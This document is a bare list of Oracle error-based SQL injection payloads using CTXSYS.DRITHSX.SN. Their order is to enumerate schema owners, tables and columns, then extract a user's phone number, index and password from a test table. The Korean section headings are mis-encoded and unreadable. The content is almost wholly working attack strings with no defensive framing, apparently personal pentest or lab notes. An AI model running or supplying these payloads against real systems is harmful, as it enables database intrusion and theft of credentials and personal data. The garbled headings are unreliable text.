CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=3))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=4))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=5))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=6))
CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=7))
2. ์๋ก์ด ํ ์ด๋ธ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT table_name FROM (SELECT rownum r, table_name FROM all_tables WHERE owner='C##TEST') WHERE r=1))
3. ์๋ก์ด ์ปฌ๋ผ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=3))
CTXSYS.DRITHSX.SN(1,(SELECT column_name FROM (SELECT rownum r, column_name FROM all_tab_columns WHERE owner='C##TEST' and table_name='TEST1') WHERE r=4))
4. ์๋ก์ด ๋ฐ์ดํฐ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=1))
CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=2))
CTXSYS.DRITHSX.SN(1,(SELECT id FROM (SELECT rownum r,id FROM C##TEST.test1) WHERE r=3))
5. ์๋ก์ด ๋ฐ์ดํฐ test ๋ชจ๋ ์ ๋ณด ํ์ธ
# ํด๋ํฐ ๋ฒํธ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT phone FROM (SELECT rownum r,phone FROM C##TEST.test1 WHERE id='test') WHERE r=1))
# IDX ๋ฒํธ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT idx FROM (SELECT rownum r,idx FROM C##TEST.test1 WHERE id='test') WHERE r=1))
# PW ๋ฒํธ ํ์ธ
CTXSYS.DRITHSX.SN(1,(SELECT pw FROM (SELECT rownum r,pw FROM C##TEST.test1 WHERE id='test') WHERE r=1))